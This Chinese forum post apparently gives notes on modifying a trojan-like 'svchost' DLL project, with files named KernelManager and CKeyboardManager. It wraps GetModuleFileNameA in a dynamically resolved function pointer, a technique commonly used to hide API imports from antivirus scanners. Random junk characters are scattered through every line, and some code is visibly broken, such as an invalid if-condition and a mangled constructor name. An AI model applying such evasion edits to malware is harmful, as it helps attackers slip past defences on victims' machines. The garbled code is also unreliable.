[原创文章] 全局动态调用 全局, 动态

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全局动态调用笔记
* _) q- ^0 J, \/ Lsvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h+ _( Y; n. n0 Y/ C
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DTDY.h：; `# s0 g* z2 p
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#if _MSC_VER>1000& x* P! W) U' [4 N* S
#pragma once% q0 i/ A/ ?$ @. _) S$ [& T
#endif //_MSC_VER>1000
6 S# N6 {1 o7 t+ y. S- F#include<windows.h>
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typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
- J2 |% ?- ]: E$ N" Nclass DTDY- p$ j: N5 d5 Z. U) l) `' L
{
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DTDY();! }$ k$ }0 J8 ?5 P% \
virtual ~DTDY();
3 H2 W8 v6 U( |7 ?' ^. Mpublic:  _# ^6 C6 B0 D; ^
static pGetModuleFileNameA MyGetModuleFileName;8 G2 @, k( ^' I  I( A# f7 ]- d
static BOOL FunInitiallization();8 _9 e1 I+ H5 P! l7 Q. ]6 I
};
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DTDY.cpp:$ q# m) X; |8 r6 ~* y: V/ G

- c- V) f. Q/ ^- ^! P7 R9 j#include "DTDY.h", j+ O. Z9 Y; {0 z5 @! l+ M
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
/ q+ N& O" \: S4 U. ]1 TDTDY:TDY()
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DTDY::~DTDY()
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BOOL DTDY::FunInitiallization()- i' `/ X3 K/ ?
{
" s1 `' _# C4 WHMODULE hModule=LoadLibrary("kernel32.dll");1 p2 l& Y& Z$ _8 [1 ]
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
# F; y. [) O5 J! ]& Vif(!MyGetModuleFileName=) return FALSE;
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9 H, H2 x. O% ^1 L. I0 \; Yreturn TRUE;$ E6 E: @! M  N! M, P7 r( v- F9 k
}
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svchost.cpp:0 p& z  y5 j' w0 I6 i; w9 b  p8 T
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#include "DTDY.h"/ T; x3 u& \9 g* G; o: p; U: X  B

. d9 B4 j8 B3 KBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
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" x  [+ Q9 e; i# Lswitch(ul_reason_for_call)
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+ s  V$ Y$ I4 {8 s- ]case DLL_PROCESS_ATTACH:
, O. G8 x. w/ z' _  D' Wif(!DTDY::FunInitiallization()) return FALSE;# l4 z) Y/ i3 D! [9 A% P4 M

6 u- N% S& L+ k1 I! x! x! n4 |break;
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7 t( S. R9 X$ C' j/ m6 cGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
9 ]: w' f5 K5 R( j  o+ l* ~改写为
* H  m/ e3 M4 qDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
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KernelManager.cpp:
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#include "../DTDY.h"8 K. j8 S6 m3 e- f
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
+ E* x; V$ L' H- b: x7 b改写为
5 U% D& x- M  k3 T$ UDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
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